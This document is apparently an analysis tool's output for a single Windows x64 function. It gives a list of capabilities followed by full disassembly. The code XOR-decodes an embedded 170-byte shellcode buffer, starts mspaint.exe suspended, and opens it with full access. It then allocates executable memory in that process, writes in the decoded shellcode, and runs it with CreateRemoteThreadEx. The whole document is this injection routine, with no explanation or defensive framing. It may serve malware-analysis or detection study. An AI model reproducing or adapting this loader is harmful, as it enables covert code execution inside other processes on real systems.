Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x120], rax
lea r8, [rsp + 0x70]
xor ebp, ebp
lea rcx, [0x140003370]
mov r9d, 2
mov rax, qword [rcx + 0xa0]
mov r10d, 3
movups xmm0, xmmword [rcx]
mov r11d, 4
mov rsi, rdx
movups xmm1, xmmword [rcx + 0x10]
mov edx, ebp
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x80]
movups xmmword [r8 + 0x60], xmm0
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [r8 + 0x70], xmm0
movups xmm0, xmmword [rcx + 0x90]
movups xmmword [r8 + 0x80], xmm1
movups xmmword [r8 + 0x90], xmm0
mov qword [r8 + 0xa0], rax
movzx eax, word [rcx + 0xa8]
movups xmm0, xmmword [0x140003420]
mov word [r8 + 0xa8], ax
mov r8d, 1
movzx eax, byte [0x140003430]
mov byte [rsp + 0x68], al
lea rax, [rsp + 0x70]
sub r8, rax
lea rax, [rsp + 0x70]
sub r9, rax
lea rax, [rsp + 0x70]
sub r10, rax
lea rax, [rsp + 0x70]
sub r11, rax
movups xmmword [rsp + 0x58], xmm0
nop dword [rax]
mov rax, rdx
lea rcx, [rsp + 0x70]
and eax, 0xf
add rcx, rdx
add rdx, 5
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx], al
lea rax, [rcx + r8]
and eax, 0xf
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx + 1], al
lea rax, [rcx + r9]
and eax, 0xf
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx + 2], al
lea rax, [rcx + r10]
and eax, 0xf
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx + 3], al
lea rax, [rcx + r11]
and eax, 0xf
movzx eax, byte [rsp + rax + 0x58]
xor byte [rcx + 4], al
cmp rdx, 0xaa
jb 0x140001180
mov ecx, 0x68
call fcn.140001450
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
lea ecx, [rax + 0x18]
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rax
call fcn.140001450
mov rdi, rax
lea rdx, str.CreateProcess.exe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov rcx, qword [rsi]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x1400013cc
mov qword [rsp + 0x48], rdi
lea rcx, str.C:WindowsSystem32mspaint.exe
mov qword [rsp + 0x40], rbx
xor r9d, r9d
mov qword [rsp + 0x38], rbp
xor r8d, r8d
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], 0x4000
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400013d0
lea rcx, str.success_
call fcn.140001010
mov r8d, dword [rdi + 0x14]
lea rcx, str.___pid___ld_tid___ld
mov edx, dword [rdi + 0x10]
call fcn.140001010
mov ebx, dword [rdi + 0x10]
xor edx, edx
mov r8d, ebx
mov dword [rsp + 0x50], ebp
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400012d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, ebx
lea rcx, str.____failed_to_open_process__ld__d
mov r8d, eax
call fcn.140001010
jmp 0x1400013e4
mov edx, ebx
lea rcx, str.___Obtained_Handle_to_pid___d_n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0xaa
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, 0xaa
lea rcx, str.___Allocated__d_bytes_in_vmem_n
mov rbx, rax
call fcn.140001010
mov r9d, 0xaa
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, 0xaa
lea rcx, str.___Wrote__d_bytes_in_vmem_n
call fcn.140001010
lea rax, [rsp + 0x50]
mov r9, rbx
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], ebp
mov rcx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rbx, rax
test rax, rax
jne 0x140001390
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_create_thread__error___d
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400013e4
mov edx, dword [rsp + 0x50]
lea rcx, str.___Created_Remote_Thread_with_tid___ld_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.Cleaning_up_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400013e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ld_n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140001430
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret